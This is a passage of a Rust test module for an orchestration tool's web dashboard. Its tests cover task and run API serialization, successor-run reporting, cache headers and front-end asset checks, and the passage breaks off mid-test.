24570        assert!(
24571            !APP_JS.contains("src.node === \"chat\""),
24572            "inline href rule is back"
24573        );
24574        assert!(
24575            APP_JS.matches("sourceLinkOf(").count() >= 4,
24576            "helper must serve every page"
24577        );
24578        assert!(
24579            APP_JS.matches("openChatLink(").count() >= 3,
24580            "the run page still needs its explicit chat link"
24581        );
24582        assert!(
24583            !APP_JS.contains("const openChat = el("),
24584            "the Queue card duplicates its source label link again"
24585        );
24586        assert!(
24587            APP_JS.contains("metaKids.push(link ? el(\"a\""),
24588            "the task page must link a chat source label too"
24589        );
24590    }
24591
24592    #[test]
24593    fn task_ref_carries_the_source_link_for_a_chat_task() {
24594        let mut t = outcome_task(&["20260901-000000-aaaa"], TaskStatus::Held);
24595        t.source = Source::Agent {
24596            run: "20260904-014455-ab12".to_owned(),
24597            node: "chat".to_owned(),
24598        };
24599        let out = task_outcome(&t, "20260901-000000-aaaa", 3, |_| None);
24600        let v = serde_json::to_value(&out).expect("json");
24601        assert_eq!(v["source_link"]["kind"], "chat", "{v}");
24602        assert_eq!(v["source_link"]["href"], "#/chat/20260904-014455-ab12");
24603        assert_eq!(v["source_label"], t.source.label());
24604
24605        let human = outcome_task(&["20260901-000000-aaaa"], TaskStatus::Held);
24606        let v = serde_json::to_value(task_outcome(&human, "20260901-000000-aaaa", 3, |_| None))
24607            .expect("json");
24608        assert!(v["source_link"].is_null(), "{v}");
24609    }
24610
24611    #[test]
24612    fn task_view_serializes_source_link() {
24613        let mut t = Task::new(
24614            "t".to_owned(),
24615            "t".to_owned(),
24616            PathBuf::from("/repo"),
24617            Source::Agent {
24618                run: "20260901-000000-aaaa".to_owned(),
24619                node: "implement".to_owned(),
24620            },
24621        );
24622        t.runs.clear();
24623        let v = serde_json::to_value(TaskView::from(t)).expect("json");
24624        assert_eq!(v["source_link"]["kind"], "run", "{v}");
24625        assert_eq!(v["source_link"]["href"], "#/runs/20260901-000000-aaaa");
24626    }
24627
24628    #[test]
24629    fn task_view_serializes_urgent_flag() {
24630        let mut t = Task::new(
24631            "t".to_owned(),
24632            "t".to_owned(),
24633            PathBuf::from("/repo"),
24634            Source::Human,
24635        );
24636        let v = serde_json::to_value(TaskView::from(t.clone())).expect("json");
24637        assert_eq!(v["urgent"], false, "{v}");
24638        t.urgent = true;
24639        let v = serde_json::to_value(TaskView::from(t)).expect("json");
24640        assert_eq!(v["urgent"], true, "{v}");
24641        assert!(APP_JS.contains("task.urgent === true"));
24642    }
24643
24644    #[tokio::test]
24645    async fn a_blocked_run_reports_the_task_finishing_elsewhere() {
24646        let fx = Fixture::start().await;
24647        let runs = fx.runs();
24648        let (old, new) = ("20260901-000000-aaaa", "20260901-000000-bbbb");
24649        write_run(&runs, old, RunStatus::Blocked);
24650        write_run(&runs, new, RunStatus::Merged);
24651        let mut t = outcome_task(&[old, new], TaskStatus::Done);
24652        fx.queue().put(&mut t).expect("put");
24653
24654        let view = fx.get(&format!("/api/runs/{old}")).await.json();
24655        let task = &view["task"];
24656        assert_eq!(task["status"], "done");
24657        assert_eq!(task["is_latest"], false);
24658        assert_eq!(task["latest"]["short"], "bbbb");
24659        assert_eq!(task["finished_by"]["id"], new);
24660        assert_eq!(task["finished_by"]["outcome"], "merged");
24661        assert_eq!(task["closed_by_hand"], false);
24662        assert_eq!(view["status"], "blocked", "the run keeps its own status");
24663        assert!(APP_JS.contains("finished_by"));
24664        assert!(APP_JS.contains("superseded by run"));
24665    }
24666
24667    #[tokio::test]
24668    async fn the_latest_run_reports_a_held_task_without_a_successor() {
24669        let fx = Fixture::start().await;
24670        let runs = fx.runs();
24671        let (old, new) = ("20260901-000000-aaaa", "20260901-000000-bbbb");
24672        write_run(&runs, old, RunStatus::Stalled);
24673        write_run(&runs, new, RunStatus::Blocked);
24674        let mut t = outcome_task(&[old, new], TaskStatus::Held);
24675        fx.queue().put(&mut t).expect("put");
24676
24677        let task = fx.get(&format!("/api/runs/{new}")).await.json()["task"].clone();
24678        assert_eq!(task["status"], "held");
24679        assert_eq!(task["is_latest"], true);
24680        assert!(task["latest"].is_null());
24681        assert!(task["finished_by"].is_null());
24682        assert_eq!(task["closed_by_hand"], false);
24683    }
24684
24685    #[tokio::test]
24686    async fn a_direct_run_has_no_task_outcome() {
24687        let fx = Fixture::start().await;
24688        let runs = fx.runs();
24689        let id = "20260901-000000-aaaa";
24690        write_run(&runs, id, RunStatus::Blocked);
24691        let view = fx.get(&format!("/api/runs/{id}")).await.json();
24692        assert!(view["task"].is_null());
24693    }
24694
24695    #[test]
24696    fn task_outcome_does_not_guess_a_finishing_run() {
24697        let a = "20260901-000000-aaaa";
24698        let b = "20260901-000000-bbbb";
24699        let c = "20260901-000000-cccc";
24700        let dir = tempfile::tempdir().expect("tempdir");
24701        write_run(dir.path(), a, RunStatus::Blocked);
24702        write_run(dir.path(), b, RunStatus::VerifiedNoop);
24703        // `c` has no record: unreadable.
24704        let read = |id: &str| read_run(dir.path(), id).ok();
24705        // Neither a blocked run nor a no-op finished the task; the newest run is
24706        // unreadable and still named.
24707        let t = outcome_task(&[a, b, c], TaskStatus::Done);
24708        let out = task_outcome(&t, a, 3, read);
24709        assert!(out.finished_by.is_none());
24710        assert!(out.closed_by_hand);
24711        let latest = out.latest.expect("latest");
24712        assert_eq!(latest.id, c);
24713        assert_eq!(latest.status, None);
24714        assert_eq!(latest.outcome, "record unreadable");
24715
24716        // A Ready run settles the task as done, so it is named as the finisher.
24717        write_run(dir.path(), c, RunStatus::Ready);
24718        let t = outcome_task(&[a, c], TaskStatus::Done);
24719        let out = task_outcome(&t, a, 3, |id| read_run(dir.path(), id).ok());
24720        assert_eq!(out.finished_by.expect("finisher").id, c);
24721        assert!(!out.closed_by_hand);
24722
24723        // A resumed run id repeats: it is still the latest by id.
24724        let t = outcome_task(&[a, b, a], TaskStatus::Held);
24725        assert!(task_outcome(&t, a, 3, read).is_latest);
24726    }
24727
24728    #[tokio::test]
24729    async fn a_run_s_own_detail_page_says_what_replaced_it_too() {
24730        // The list route has known this since the card fix above; the detail
24731        // route — what an operator actually opens from a notification about
24732        // a blocked run — did not, and went on showing a bare red BLOCKED
24733        // chip for a run a retry had already finished.
24734        let fx = Fixture::start().await;
24735        let q = fx.queue();
24736        let runs = fx.runs();
24737        let (first, second) = ("20260901-000000-cccc", "20260901-000000-dddd");
24738        write_run(&runs, first, RunStatus::Blocked);
24739        write_run(&runs, second, RunStatus::Merged);
24740
24741        let mut t = Task::new(
24742            "one task".to_owned(),
24743            "do it".to_owned(),
24744            PathBuf::from("/repo"),
24745            Source::Human,
24746        );
24747        t.runs = vec![first.to_owned(), second.to_owned()];
24748        q.put(&mut t).expect("put");
24749
24750        let earlier = fx.get(&format!("/api/runs/{first}")).await.json();
24751        assert_eq!(earlier["superseded_by"], "dddd");
24752        assert_eq!(earlier["latest_attempt"]["id"], second);
24753        assert_eq!(earlier["latest_attempt"]["short"], "dddd");
24754        assert_eq!(
24755            earlier["latest_attempt"]["resolved"], true,
24756            "the run that replaced it landed, so this one reads as settled"
24757        );
24758
24759        let later = fx.get(&format!("/api/runs/{second}")).await.json();
24760        assert!(
24761            later["superseded_by"].is_null(),
24762            "the latest attempt is not superseded by anything"
24763        );
24764        assert!(
24765            later["latest_attempt"].is_null(),
24766            "the latest attempt has no later attempt of its own"
24767        );
24768
24769        // Front end: the detail page has to read the field this route now
24770        // carries, downgrade the chip, and link to the run that replaced it —
24771        // not just repeat the list card's own logic under a different name.
24772        // The link is built off `latest_attempt.id`, the server-resolved
24773        // full id, never a bare short string a client would have to guess a
24774        // full run from.
24775        assert!(APP_JS.contains("run.latest_attempt"));
24776        assert!(APP_JS.contains("data-superseded"));
24777        assert!(APP_JS.contains("#/runs/${latest.id}"));
24778    }
24779
24780    #[tokio::test]
24781    async fn a_chain_of_retries_points_the_oldest_at_the_current_head() {
24782        // A -> B -> C, all Blocked except the last. A's immediate successor
24783        // (superseded_by) is B, which is itself unresolved; what an operator
24784        // opening A's page actually needs is where the task's story stands
24785        // *now* - C, not B - without depending on whether C happens to be in
24786        // whatever page of /api/runs the client last cached.
24787        let fx = Fixture::start().await;
24788        let q = fx.queue();
24789        let runs = fx.runs();
24790        let (a, b, c) = (
24791            "20260901-000000-aaaa",
24792            "20260901-000000-bbbb",
24793            "20260901-000000-cccc",
24794        );
24795        write_run(&runs, a, RunStatus::Blocked);
24796        write_run(&runs, b, RunStatus::Blocked);
24797        write_run(&runs, c, RunStatus::Merged);
24798
24799        let mut t = Task::new(
24800            "retried twice".to_owned(),
24801            "do it".to_owned(),
24802            PathBuf::from("/repo"),
24803            Source::Human,
24804        );
24805        t.runs = vec![a.to_owned(), b.to_owned(), c.to_owned()];
24806        q.put(&mut t).expect("put");
24807
24808        let view = fx.get(&format!("/api/runs/{a}")).await.json();
24809        assert_eq!(view["superseded_by"], "bbbb", "the immediate successor");
24810        assert_eq!(
24811            view["latest_attempt"]["id"], c,
24812            "the chain's current head, not the intermediate Blocked retry"
24813        );
24814        assert_eq!(view["latest_attempt"]["resolved"], true);
24815
24816        let mid = fx.get(&format!("/api/runs/{b}")).await.json();
24817        assert_eq!(mid["latest_attempt"]["id"], c);
24818        assert_eq!(mid["latest_attempt"]["resolved"], true);
24819    }
24820
24821    #[tokio::test]
24822    async fn an_unresolved_or_unverified_successor_does_not_read_as_finished() {
24823        let fx = Fixture::start().await;
24824        let q = fx.queue();
24825        let runs = fx.runs();
24826
24827        // Still Blocked: the task is not resolved, so the older run must not
24828        // read as settled either.
24829        let (still_blocked_a, still_blocked_b) = ("20260901-000000-e001", "20260901-000000-e002");
24830        write_run(&runs, still_blocked_a, RunStatus::Blocked);
24831        write_run(&runs, still_blocked_b, RunStatus::Blocked);
24832        let mut t1 = Task::new(
24833            "still stuck".to_owned(),
24834            "do it".to_owned(),
24835            PathBuf::from("/repo"),
24836            Source::Human,
24837        );
24838        t1.runs = vec![still_blocked_a.to_owned(), still_blocked_b.to_owned()];
24839        q.put(&mut t1).expect("put");
24840        let view1 = fx.get(&format!("/api/runs/{still_blocked_a}")).await.json();
24841        assert_eq!(view1["latest_attempt"]["resolved"], false);
24842        assert_eq!(view1["latest_attempt"]["status"], "blocked");
24843        assert_eq!(view1["latest_attempt"]["done"], true);
24844
24845        // Still running: the successor exists and must be reported as such.
24846        let (run_a, run_b) = ("20260901-000000-e005", "20260901-000000-e006");
24847        write_run(&runs, run_a, RunStatus::Blocked);
24848        write_run(&runs, run_b, RunStatus::Implementing);
24849        let mut t3 = Task::new(
24850            "retrying".to_owned(),
24851            "do it".to_owned(),
24852            PathBuf::from("/repo"),
24853            Source::Human,
24854        );
24855        t3.runs = vec![run_a.to_owned(), run_b.to_owned()];
24856        q.put(&mut t3).expect("put");
24857        let view3 = fx.get(&format!("/api/runs/{run_a}")).await.json();
24858        assert_eq!(view3["latest_attempt"]["id"], run_b);
24859        assert_eq!(view3["latest_attempt"]["resolved"], false);
24860        assert_eq!(view3["latest_attempt"]["done"], false);
24861
24862        // VerifiedNoop: a candidate's own unconfirmed claim, held for a human
24863        // to check - not a confirmed finish, so this must not read as
24864        // resolved either, even though the run is done in the sense that
24865        // nothing is still running.
24866        let (noop_a, noop_b) = ("20260901-000000-e003", "20260901-000000-e004");
24867        write_run(&runs, noop_a, RunStatus::Blocked);
24868        write_run(&runs, noop_b, RunStatus::VerifiedNoop);
24869        let mut t2 = Task::new(
24870            "claims done".to_owned(),
24871            "do it".to_owned(),
24872            PathBuf::from("/repo"),
24873            Source::Human,
24874        );
24875        t2.runs = vec![noop_a.to_owned(), noop_b.to_owned()];
24876        q.put(&mut t2).expect("put");
24877        let view2 = fx.get(&format!("/api/runs/{noop_a}")).await.json();
24878        assert_eq!(
24879            view2["latest_attempt"]["resolved"], false,
24880            "an unverified no-op claim must not read as a confirmed finish"
24881        );
24882
24883        // Front end: an unresolved successor must not carry the "finished
24884        // this work" note or the muted chip treatment.
24885        assert!(APP_JS.contains("latest.resolved"));
24886        // ...but the link to it shows as soon as it exists, labelled by state
24887        // and without the "finished" wording or the muted chip.
24888        assert!(APP_JS.contains("successorNote(latest, inFlight)"));
24889        assert!(APP_JS.contains("Latest attempt: "));
24890        assert!(APP_JS.contains("in flight"));
24891        assert!(APP_JS.contains("not resolved"));
24892    }
24893
24894    #[tokio::test]
24895    async fn a_replaced_deck_is_not_served_from_a_phone_s_cache() {
24896        let fx = Fixture::start().await;
24897        // No cache header at all meant browsers invented their own policy,
24898        // and one did: a phone went on showing "Candidates must be folded
24899        // before deleting. Run `magi fold` first." - deleted two releases
24900        // earlier - from a deck that no longer contained the sentence. The
24901        // button it named was right there, and unreachable.
24902        let js = fx.get("/app.js").await;
24903        assert_eq!(js.status, 200);
24904        let tag = js
24905            .header("etag")
24906            .expect("an etag to revalidate against")
24907            .to_owned();
24908        assert!(tag.contains(env!("CARGO_PKG_VERSION")), "tag: {tag}");
24909        assert_eq!(
24910            js.header("cache-control"),
24911            Some("no-cache, must-revalidate"),
24912            "the phone has to ask every time"
24913        );
24914
24915        // And the asking has to be cheap, or `must-revalidate` just means
24916        // "send the whole interface on every load".
24917        let again = fx
24918            .get_with("/app.js", &[("if-none-match", tag.as_str())])
24919            .await;
24920        assert_eq!(
24921            again.status, 304,
24922            "a deck it already has costs one round trip"
24923        );
24924        assert!(again.body.is_empty(), "304 carries no body");
24925
24926        // A weakened tag from a proxy still matches; a different build does
24927        // not, which is the case that has to deliver the new interface.
24928        let weak = fx
24929            .get_with("/app.js", &[("if-none-match", &format!("W/{tag}"))])
24930            .await;
24931        assert_eq!(weak.status, 304);
24932        let stale = fx
24933            .get_with("/app.js", &[("if-none-match", "\"0.0.1-1\"")])
24934            .await;
24935        assert_eq!(stale.status, 200, "an older build must be replaced");
24936        assert!(stale.body.contains("renderRunActions"));
24937    }
24938
24939    #[test]
24940    fn the_task_detail_has_an_actions_fab_and_sheet() {
24941        assert!(INDEX_HTML.contains("id=\"task-actions-fab\""));
24942        assert!(INDEX_HTML.contains("id=\"task-actions-sheet\""));
24943        assert!(INDEX_HTML.contains("id=\"task-actions-error\" role=\"alert\""));
24944        // Shown only on the task route, closed everywhere else.
24945        assert!(APP_JS.contains("show($(\"task-actions-fab\"), route.name === \"task\")"));
24946        assert!(APP_JS.contains("if (route.name !== \"task\") closeTaskActions();"));
24947        // Refreshed whenever the detail redraws, including the loading state.
24948        assert!(APP_JS.contains("renderTaskActions(task.coreOnly || error ? null : task);"));
24949        assert!(APP_JS.contains("renderTaskActions(null);"));
24950        // Same action renderers as the Queue card. Bound this check by the
24951        // next function, since additional task controls can grow the sheet.
24952        let (_, sheet) = APP_JS
24953            .split_once("function renderTaskActions(task) {")
24954            .expect("sheet renderer");
24955        let (body, _) = sheet
24956            .split_once("\nfunction openTaskActions() {")
24957            .expect("end of sheet renderer");
24958        assert!(body.contains("changePriority("));
24959        assert!(body.contains("openTaskEdit(task)"));
24960        assert!(body.contains("renderTaskHoldBox(host"));
24961        assert!(body.contains("renderTaskDoneBox(host"));
24962        assert!(body.contains("renderTaskDeleteBox(host"));
24963        assert!(APP_JS.contains("API.priority(id)"));
24964        assert!(APP_JS.contains("API.deleteTask(id)"));
24965        // A deleted task sends the operator back to the queue.
24966        assert!(APP_JS.contains("location.hash = \"#/queue\""));
24967        // A refusal is shown inside the sheet.
24968        assert!(APP_JS.contains("$(\"task-actions-error\")"));
24969    }
24970
24971    #[test]
24972    fn the_run_actions_sheet_leads_with_a_way_to_the_task() {
24973        let task = INDEX_HTML.find("id=\"run-task-box\"").expect("task box");
24974        let actions = INDEX_HTML
24975            .find("id=\"run-actions-box\"")
24976            .expect("actions box");
24977        assert!(task < actions, "the task entry comes first in the sheet");
24978        assert!(APP_JS.contains("renderRunTaskEntry"));
24979        assert!(APP_JS.contains("\"Open task \""));
24980        // A run without a task says why there is nothing to open.
24981        assert!(APP_JS.contains("started directly, no task"));
24982        assert!(APP_JS.contains("sheet-task-link"));
24983        assert!(APP_JS.contains("task-chip-link"));
24984    }
24985
24986    #[test]
24987    fn the_deck_never_sends_the_operator_to_a_terminal() {
24988        // The whole point of the phone UI is that a terminal is not needed.
24989        // The delete control used to answer with "Run `magi fold` first."
24990        assert!(
24991            !APP_JS.contains("Run `magi fold` first"),
24992            "the deck must offer the fold, not prescribe a shell command"
24993        );
24994        assert!(APP_JS.contains("foldRun:"));
24995        assert!(APP_JS.contains("resumeRun:"));
24996        assert!(APP_JS.contains("renderRunActions"));
24997
24998        // Folding is destructive and armed in two steps, like deleting.
24999        assert!(APP_JS.contains("armedFold"));
25000        assert!(APP_JS.contains("Yes, fold worktrees"));
25001
25002        // And the copy has to say that the two actions are opposites, because
25003        // folding throws away exactly what a resume would continue from.
25004        assert!(APP_JS.contains("can no longer be resumed"));
25005    }
25006
25007    #[test]
25008    fn a_finished_run_explains_itself_with_its_own_last_line() {
25009        // The deck used to answer "why did this stop?" with a sentence chosen
25010        // by status alone. Run e633 stalled because two judges answered with
25011        // the wrong JSON shape and its card said "The panel collapsed on
25012        // agent quota" - with `quota: []` in the record and a quota-loss
25013        // counter right above it that correctly said nothing.
25014        assert!(
25015            !APP_JS.contains("collapsed on agent quota"),
25016            "a stall must not be explained by a cause the deck did not check"
25017        );
25018        assert!(
25019            !APP_JS.contains("Review rounds ran out with findings still open, or the gate failed"),
25020            "and a block must not offer a guess with an `or` in it"
25021        );
25022
25023        // The reason it does have is `run.event`, which must reach finished
25024        // runs: gating it on movement hid the recorded truth at the one moment
25025        // the operator is reading the card to find out what happened.
25026        assert!(
25027            APP_JS.contains("setText(r.event, run.event || \"\")"),
25028            "the run's last line is rendered unconditionally"
25029        );
25030        assert!(
25031            !APP_JS.contains("moving && run.event"),
25032            "and never gated on the run still moving"
25033        );
25034
25035        // Quota keeps its own counter, fed by the number actually recorded.
25036        assert!(APP_JS.contains("lost to quota"));
25037    }
25038
25039    /// The runs tree (section) and the state chips (waiting/done) are two
25040    /// independent lenses ANDed together in `renderRuns`, and some pairings
25041    /// can never both be true for any run - every "Landed"/"Ended" run is
25042    /// done by construction, so pairing either with "Active" or "In flight"
25043    /// always rendered zero cards with the filter bar still claiming
25044    /// `Showing Ended`. `sectionCompatibleWithStateFilter` exists to catch
25045    /// that before it happens, checked against `REPRESENTATIVE_RUN_SHAPES` -
25046    /// a handful of (waiting, status) shapes standing in for the run
25047    /// lifecycle, because `cargo test` cannot execute the front end.
25048    ///
25049    /// That stand-in list is itself the part that drifted twice in review:
25050    /// once shipped with `waiting: true` paired with a done status the
25051    /// lifecycle cannot produce, then over-corrected into treating every
25052    /// waiting run as never done - which made "Waiting on you" look
25053    /// incompatible with "Done" even for the one real, reachable shape
25054    /// (Stalled/Blocked, both terminal yet still resumable) that is exactly
25055    /// that combination. This test parses the shapes and the done-rule back
25056    /// out of `APP_JS`, reimplements `runSection` and the five state
25057    /// predicates independently in Rust, and checks the resulting
25058    /// section/filter compatibility table against the lifecycle rules by
25059    /// hand - so either direction of drift fails it again.
25060    #[test]
25061    fn runs_tree_sections_and_state_chips_agree_on_what_a_run_can_be() {
25062        let shapes_marker = "const REPRESENTATIVE_RUN_SHAPES = [";
25063        let shapes_body_start =
25064            APP_JS.find(shapes_marker).expect("the shape list exists") + shapes_marker.len();
25065        let shapes_close = APP_JS[shapes_body_start..]
25066            .find("].map(")
25067            .expect("the shape list is closed by its done-computing .map(...)")
25068            + shapes_body_start;
25069        let shapes_src = &APP_JS[shapes_body_start..shapes_close];
25070
25071        let mut shapes: Vec<(bool, String, bool, bool)> = Vec::new();
25072        for entry in shapes_src.split('{').skip(1) {
25073            let waiting = entry.contains("waiting: true");
25074            let dead = entry.contains("live: \"dead\"");
25075            let status_at =
25076                entry.find("status: \"").expect("each shape names a status") + "status: \"".len();
25077            let status_end = entry[status_at..]
25078                .find('"')
25079                .expect("the status string is closed")
25080                + status_at;
25081            let parked = entry.contains("display_status: \"parked\"");
25082            shapes.push((
25083                waiting,
25084                entry[status_at..status_end].to_string(),
25085                dead,
25086                parked,
25087            ));
25088        }
25089        assert!(shapes.len() >= 6, "parsed shapes: {shapes:?}");
25090
25091        // The done rule itself (`!["implementing"].includes(shape.status)`),
25092        // read out of the source rather than hardcoded, so a renamed
25093        // in-flight status can't silently make every parsed shape "done".
25094        let done_rule_marker = "done: !";
25095        let done_rule_at = APP_JS[shapes_close..]
25096            .find(done_rule_marker)
25097            .expect("the done rule follows the shape list")
25098            + shapes_close
25099            + done_rule_marker.len();
25100        let includes_at = APP_JS[done_rule_at..]
25101            .find(".includes(shape.status)")
25102            .expect("the done rule ends in .includes(shape.status)")
25103            + done_rule_at;
25104        let not_done: Vec<&str> = APP_JS[done_rule_at..includes_at]
25105            .trim()
25106            .trim_start_matches('[')
25107            .trim_end_matches(']')
25108            .split(',')
25109            .map(|s| s.trim().trim_matches('"'))
25110            .filter(|s| !s.is_empty())
25111            .collect();
25112
25113        let shapes: Vec<(bool, String, bool, bool, bool)> = shapes
25114            .into_iter()
25115            .map(|(waiting, status, dead, parked)| {
25116                let done = !not_done.contains(&status.as_str());
25117                (waiting, status, dead, parked, done)
25118            })
25119            .collect();
25120
25121        // `runSection` reimplemented from assets/ui/app.js: `waiting` wins
25122        // outright, then merged/ready land, stalled/blocked/failed/
25123        // verified_noop end, and everything else is still in flight.
25124        fn run_section(waiting: bool, status: &str, dead: bool, parked: bool) -> &'static str {
25125            if waiting {
25126                return "waiting";
25127            }
25128            if dead
25129                && !parked
25130                && !matches!(
25131                    status,
25132                    "merged"
25133                        | "ready"
25134                        | "stalled"
25135                        | "blocked"
25136                        | "failed"
25137                        | "verified_noop"
25138                        | "superseded"
25139                        | "already_in_base"
25140                )
25141            {
25142                return "stale";
25143            }
25144            match status {
25145                "merged" | "ready" => "landed",
25146                "stalled" | "blocked" | "failed" | "verified_noop" | "superseded"
25147                | "already_in_base" => "ended",
25148                _ => "flight",
25149            }
25150        }
25151
25152        // RUN_STATE_FILTERS' six `match` functions, reimplemented the same
25153        // way.
25154        fn filter_matches(filter_key: &str, waiting: bool, dead: bool, done: bool) -> bool {
25155            match filter_key {
25156                "active" => !done,
25157                "flight" => !done && !waiting && !dead,
25158                "stale" => !done && !waiting && dead,
25159                "waiting" => waiting,
25160                "done" => done,
25161                "all" => true,
25162                other => panic!("unknown RUN_STATE_FILTERS key: {other}"),
25163            }
25164        }
25165
25166        let compatible = |section: &str, filter_key: &str| {
25167            shapes.iter().any(|(waiting, status, dead, parked, done)| {
25168                run_section(*waiting, status, *dead, *parked) == section
25169                    && filter_matches(filter_key, *waiting, *dead && !*parked, *done)
25170            })
25171        };
25172
25173        // One row per RUN_SECTIONS key, in RUN_STATE_FILTERS' own order
25174        // (active, flight, stale, waiting, done, all) - hand-derived from the
25175        // lifecycle, independently of whatever REPRESENTATIVE_RUN_SHAPES
25176        // currently contains.
25177        let expected = [
25178            ("waiting", [true, false, false, true, true, true]),
25179            ("stale", [true, false, true, false, false, true]),
25180            ("flight", [true, true, false, false, false, true]),
25181            ("landed", [false, false, false, false, true, true]),
25182            ("ended", [false, false, false, false, true, true]),
25183        ];
25184        let filter_keys = ["active", "flight", "stale", "waiting", "done", "all"];
25185
25186        for (section, wants) in expected {
25187            for (filter_key, want) in filter_keys.iter().zip(wants) {
25188                assert_eq!(
25189                    compatible(section, filter_key),
25190                    want,
25191                    "section {section:?} x filter {filter_key:?} should be compatible: {want}"
25192                );
25193            }
25194        }
25195
25196        // The compatibility check exists only to be acted on: both pickers
25197        // must actually consult it rather than just render its answer.
25198        assert!(
25199            APP_JS.contains("function sectionCompatibleWithStateFilter(sectionKey, filterKey)")
25200        );
25201        assert!(APP_JS.contains(
25202            "if (state.runsFilter.section && !sectionCompatibleWithStateFilter(state.runsFilter.section, key))"
25203        ));
25204        assert!(APP_JS.contains(
25205            "if (!same && !sectionCompatibleWithStateFilter(section, state.runsStateFilter))"
25206        ));
25207    }
25208
25209    #[tokio::test]
25210    async fn normalize_default_repo_leaves_an_explicit_path_untouched() {
25211        // An operator-named directory - git checkout or not - is never
25212        // second-guessed, even when it does not exist at all: only the
25213        // flag's own unmodified `.` default is ever eligible for discovery.
25214        let dir = tempfile::tempdir().expect("tempdir");
25215        let explicit = dir.path().join("not-a-checkout");
25216        std::fs::create_dir_all(&explicit).expect("create dir");
25217        assert_eq!(normalize_default_repo(explicit.clone()).await, explicit);
25218
25219        let missing = dir.path().join("does-not-exist-at-all");
25220        assert_eq!(normalize_default_repo(missing.clone()).await, missing);
25221    }
25222
25223    #[test]
25224    fn stats_verdict_donut_has_fixed_colours_and_a_minimum_arc() {
25225        assert!(APP_JS.contains("function statsDonutArcs"));
25226        assert!(APP_JS.contains("STATS_DONUT_MIN_DEG"));
25227        // A bucket click filters by the statuses src/stats.rs counts in it.
25228        assert!(APP_JS.contains("function statusInBucket"));
25229        assert!(APP_JS.contains("statuses: [\"superseded\", \"already_in_base\"]"));
25230        assert!(INDEX_HTML.contains("id=\"stats-verdict-donut\""));
25231        let buckets = [
25232            "merged",
25233            "ready",
25234            "in_progress",
25235            "blocked",
25236            "failed",
25237            "verified_noop",
25238            "superseded",
25239            "stalled",
25240        ];
25241        for key in buckets {
25242            let var = format!("--verdict-{key}:");
25243            // Light, OS-dark and pinned-dark blocks each define it.
25244            assert_eq!(APP_CSS.matches(&var).count(), 3, "{var}");
25245            assert!(
25246                APP_CSS.contains(&format!("[data-verdict=\"{key}\"]")),
25247                "{key}"
25248            );
25249        }
25250    }
25251
25252    #[tokio::test]
25253    async fn resolve_talk_and_task_avoid_deserializing_corrupt_or_unrelated_json() {
25254        let dir = tempfile::tempdir().expect("tempdir");
25255        let queue = Queue::at(dir.path().join("queue"));
25256        let talks = Talks::at(dir.path().join("talks"));
25257        std::fs::create_dir_all(queue.root()).unwrap();
25258        std::fs::create_dir_all(talks.root()).unwrap();
25259
25260        // Put a corrupt json file in both stores
25261        std::fs::write(queue.root().join("corrupt-task.json"), "invalid json").unwrap();
25262        std::fs::write(talks.root().join("corrupt-talk.json"), "invalid json").unwrap();
25263
25264        // Valid task and talk
25265        let mut task = Task::new(
25266            "title".into(),
25267            "inst".into(),
25268            PathBuf::from("/repo"),
25269            Source::Human,
25270        );
25271        task.id = "20261019-123456-abcd".into();
25272        // Write manually so it's a valid file
25273        std::fs::write(
25274            queue.path_of(&task.id),
25275            serde_json::to_string(&task).unwrap(),
25276        )
25277        .unwrap();
25278
25279        let talk_id = "20261019-234567-cdef";
25280        seed_talk_at(&talks, talk_id, "open");
25281
25282        // Exact match should succeed without failing on the corrupt json file
25283        assert_eq!(resolve_task(&queue, &task.id).unwrap(), task.id);
25284        assert_eq!(resolve_talk(&talks, talk_id).unwrap(), talk_id);
25285
25286        // Prefix match should also succeed by scanning file names without deserializing corrupt file
25287        assert_eq!(resolve_task(&queue, "abcd").unwrap(), task.id);
25288        assert_eq!(resolve_talk(&talks, "cdef").unwrap(), talk_id);
25289    }
25290
25291    #[tokio::test]
25292    async fn question_core_and_empty_origins_do_not_touch_unavailable_histories() {
25293        let home = tempfile::tempdir().unwrap();
25294        let ui = delta_test_ui(home.path());
25295        // A full history traversal would fail even with no questions.
25296        std::fs::write(ui.queue.root(), "not a directory").unwrap();
25297        std::fs::write(ui.talks.root(), "not a directory").unwrap();
25298        assert!(
25299            questions_list(State(ui.clone()))
25300                .await
25301                .unwrap()
25302                .0
25303                .is_empty()
25304        );
25305        assert!(
25306            question_origins(State(ui.clone()))
25307                .await
25308                .unwrap()
25309                .0
25310                .is_empty()
25311        );
25312        let mut question = Question::new(
25313            "run-history".into(),
25314            "review".into(),
25315            "seat".into(),
25316            "Useful question".into(),
25317            "Useful detail".into(),
25318            vec![],
25319        );
25320        ui.questions.put(&mut question).unwrap();
25321        let core = questions_core(State(ui.clone())).await.unwrap().0;
25322        assert_eq!(core.len(), 1);
25323        assert_eq!(core[0].question.summary, "Useful question");
25324        assert!(!core[0].can_consult_chat);
25325        assert!(core[0].origin_chat.is_none());
25326        assert_eq!(core[0].record_revision, question_record_revision(&question));
25327        assert!(question_origins(State(ui.clone())).await.is_err());
25328        assert_eq!(ui.monitor.queue_index.lock().unwrap().reparsed, 0);
25329    }
25330
25331    #[tokio::test]
25332    async fn question_origins_resolve_typed_links_without_expanding_consultation() {
25333        let home = tempfile::tempdir().unwrap();
25334        let ui = delta_test_ui(home.path());
25335        let chat = seed_talk_at(&ui.talks, "origin-chat", "closed");
25336        let mut parent = Task::new(
25337            "parent".into(),
25338            "body".into(),
25339            PathBuf::from("/repo"),
25340            Source::Agent {
25341                run: chat.clone(),
25342                node: crate::queue::CHAT_NODE.into(),
25343            },
25344        );
25345        parent.id = "parent-task".into();
25346        parent.runs = vec!["parent-run".into()];
25347        ui.queue.put(&mut parent).unwrap();
25348        let mut previous = parent;
25349        for generation in 1..=2 {
25350            let mut child = Task::new(
25351                "child".into(),
25352                "body".into(),
25353                PathBuf::from("/repo"),
25354                Source::Human,
25355            );
25356            child.id = format!("child-task-{generation}");
25357            child.runs = vec![format!("child-run-{generation}")];
25358            child.followup = Some(crate::queue::FollowUp {
25359                origin_task: Some(previous.id.clone()),
25360                run: previous.runs[0].clone(),
25361                pr: String::new(),
25362                findings: vec![],
25363                generation,
25364            });
25365            ui.queue.put(&mut child).unwrap();
25366            previous = child;
25367        }
25368        // A run may have the same spelling as another task's id; its owner
25369        // must not override a typed task reference.
25370        let mut collision = Task::new(
25371            "collision".into(),
25372            String::new(),
25373            PathBuf::from("/repo"),
25374            Source::Human,
25375        );
25376        collision.id = "collision-task".into();
25377        collision.runs = vec![previous.id.clone()];
25378        ui.queue.put(&mut collision).unwrap();
25379        let mut questions = Vec::new();
25380        for (node, reference, expected, eligible) in [
25381            (crate::triage::NODE, previous.id.as_str(), true, false),
